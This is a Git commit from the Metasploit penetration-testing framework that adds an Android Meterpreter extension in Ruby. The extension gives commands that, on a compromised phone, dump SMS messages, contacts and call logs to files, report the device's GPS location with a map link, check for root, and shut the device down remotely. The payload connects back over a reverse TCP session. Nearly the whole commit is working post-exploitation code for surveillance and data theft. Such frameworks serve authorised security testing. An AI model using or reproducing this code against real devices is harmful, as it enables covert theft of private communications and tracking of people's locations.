Land #3501, @AnwarMohamed's android meterpreter commands.

bug/bundler_fix
joev 2014-08-09 16:29:59 -05:00
commit af3ca19ab2
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
12 changed files with 605 additions and 13 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
def initialize(rstream, opts={})
super
self.platform = 'java/android'
end
def load_android
original = console.disable_output
console.disable_output = true
console.run_single('load android')
console.disable_output = original
end
end
end
end

View File

@ -59,6 +59,12 @@ module MeterpreterOptions
end
end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] )

View File

@ -0,0 +1,128 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/android/tlv'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/client'
require 'rex/post/meterpreter/channels/pools/stream_pool'
module Rex
module Post
module Meterpreter
module Extensions
module Android
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Android < Extension
def initialize(client)
super(client, 'android')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[
{
'name' => 'android',
'ext' => self
},
])
end
def device_shutdown(n)
request = Packet.create_request('device_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
response = client.send_request(request)
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
def dump_sms
sms = Array.new
request = Packet.create_request('dump_sms')
response = client.send_request(request)
response.each( TLV_TYPE_SMS_GROUP ) { |p|
sms <<
{
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
}
}
return sms
end
def dump_contacts
contacts = Array.new
request = Packet.create_request('dump_contacts')
response = client.send_request(request)
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
contacts <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
}
}
return contacts
end
def geolocate
loc = Array.new
request = Packet.create_request('geolocate')
response = client.send_request(request)
loc <<
{
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
}
return loc
end
def dump_calllog
log = Array.new
request = Packet.create_request('dump_calllog')
response = client.send_request(request)
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
log <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
}
}
return log
end
def check_root
request = Packet.create_request('check_root')
response = client.send_request(request)
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
end
end
end
end
end
end

View File

@ -0,0 +1,40 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Android
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
end
end
end
end
end

View File

@ -0,0 +1,383 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
require 'msf/core/auxiliary/report'
module Rex
module Post
module Meterpreter
module Ui
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Console::CommandDispatcher::Android
include Console::CommandDispatcher
include Msf::Auxiliary::Report
#
# List of supported commands.
#
def commands
all = {
'dump_sms' => 'Get sms messages',
'dump_contacts' => 'Get contacts list',
'geolocate' => 'Get current lat-long using geolocation',
'dump_calllog' => 'Get call log',
'check_root' => 'Check if device is rooted',
'device_shutdown' => 'Shutdown device'
}
reqs = {
'dump_sms' => [ 'dump_sms' ],
'dump_contacts' => [ 'dump_contacts' ],
'geolocate' => [ 'geolocate' ],
'dump_calllog' => [ 'dump_calllog' ],
'check_root' => [ 'check_root' ],
'device_shutdown' => [ 'device_shutdown']
}
# Ensure any requirements of the command are met
all.delete_if do |cmd, desc|
reqs[cmd].any? { |req| not client.commands.include?(req) }
end
end
def cmd_device_shutdown(*args)
seconds = 0
device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds']
)
device_shutdown_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: device_shutdown [options]')
print_line('Shutdown device.')
print_line(device_shutdown_opts.usage)
return
when '-t'
seconds = val.to_i
end
}
res = client.android.device_shutdown(seconds)
if res
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
else
print_error('Device shutdown failed')
end
end
def cmd_dump_sms(*args)
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list']
)
dump_sms_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: dump_sms [options]')
print_line('Get sms messages.')
print_line(dump_sms_opts.usage)
return
when '-o'
path = val
end
}
smsList = []
smsList = client.android.dump_sms
if smsList.count > 0
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=====================\n"
data << "[+] Sms messages dump\n"
data << "=====================\n\n"
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
smsList.each_with_index { |a, index|
data << "##{index.to_i + 1}\n"
type = 'Unknown'
if a['type'] == '1'
type = 'Incoming'
elsif a['type'] == '2'
type = 'Outgoing'
end
status = 'Unknown'
if a['status'] == '-1'
status = 'NOT_RECEIVED'
elsif a['status'] == '1'
status = 'SME_UNABLE_TO_CONFIRM'
elsif a['status'] == '0'
status = 'SUCCESS'
elsif a['status'] == '64'
status = 'MASK_PERMANENT_ERROR'
elsif a['status'] == '32'
status = 'MASK_TEMPORARY_ERROR'
elsif a['status'] == '2'
status = 'SMS_REPLACED_BY_SC'
end
data << "Type\t: #{type}\n"
time = a['date'].to_i / 1000
time = Time.at(time)
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
data << "Address\t: #{a['address']}\n"
data << "Status\t: #{status}\n"
data << "Message\t: #{a['body']}\n\n"
}
::File.write(path, data)
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
return true
rescue
print_error("Error getting messages: #{$!}")
return false
end
else
print_status('No sms messages were found!')
return false
end
end
def cmd_dump_contacts(*args)
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for contacts list']
)
dump_contacts_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: dump_contacts [options]')
print_line('Get contacts list.')
print_line(dump_contacts_opts.usage)
return
when '-o'
path = val
end
}
contactList = []
contactList = client.android.dump_contacts
if contactList.count > 0
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n======================\n"
data << "[+] Contacts list dump\n"
data << "======================\n\n"
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
contactList.each_with_index { |c, index|
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
if c['number'].count > 0
(c['number']).each { |n|
data << "Number\t: #{n}\n"
}
end
if c['email'].count > 0
(c['email']).each { |n|
data << "Email\t: #{n}\n"
}
end
data << "\n"
}
::File.write(path, data)
print_status("Contacts list saved to: #{path}")
return true
rescue
print_error("Error getting contacts list: #{$!}")
return false
end
else
print_status('No contacts were found!')
return false
end
end
def cmd_geolocate(*args)
generate_map = false
geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-g' => [ false, 'Generate map using google-maps']
)
geolocate_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: geolocate [options]')
print_line('Get current location using geolocation.')
print_line(geolocate_opts.usage)
return
when '-g'
generate_map = true
end
}
geo = client.android.geolocate
print_status('Current Location:')
print_line("\tLatitude: #{geo[0]['lat']}")
print_line("\tLongitude: #{geo[0]['long']}\n")
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
if generate_map
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
print_status("Generated map on google-maps:")
print_status(link)
Rex::Compat.open_browser(link)
end
end
def cmd_dump_calllog(*args)
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for call log']
)
dump_calllog_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: dump_calllog [options]')
print_line('Get call log.')
print_line(dump_calllog_opts.usage)
return
when '-o'
path = val
end
}
log = client.android.dump_calllog
if log.count > 0
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=================\n"
data << "[+] Call log dump\n"
data << "=================\n\n"
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
log.each_with_index { |a, index|
data << "##{index.to_i + 1}\n"
data << "Number\t: #{a['number']}\n"
data << "Name\t: #{a['name']}\n"
data << "Date\t: #{a['date']}\n"
data << "Type\t: #{a['type']}\n"
data << "Duration: #{a['duration']}\n\n"
}
::File.write(path, data)
print_status("Call log saved to #{path}")
return true
rescue
print_error("Error getting call log: #{$!}")
return false
end
else
print_status('No call log entries were found!')
return false
end
end
def cmd_check_root(*args)
check_root_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
check_root_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: check_root [options]')
print_line('Check if device is rooted.')
print_line(check_root_opts.usage)
return
end
}
is_rooted = client.android.check_root
if is_rooted
print_good('Device is rooted')
elsif
print_status('Device is not rooted')
end
end
#
# Name for this dispatcher
#
def name
'Android'
end
end
end
end
end
end

View File

@ -5,29 +5,31 @@
require 'msf/core'
require 'msf/core/payload/dalvik'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
include Msf::Sessions::MeterpreterOptions
# The stager should have already included this
#include Msf::Payload::Java
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Meterpreter',
'Description' => 'Run a meterpreter server on Android',
'Author' => [
'Name' => 'Android Meterpreter',
'Description' => 'Run a meterpreter server on Android',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
'egypt', # msf integration
'anwarelmakrahy' # android extension
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java))
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Android))
register_options(
[
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#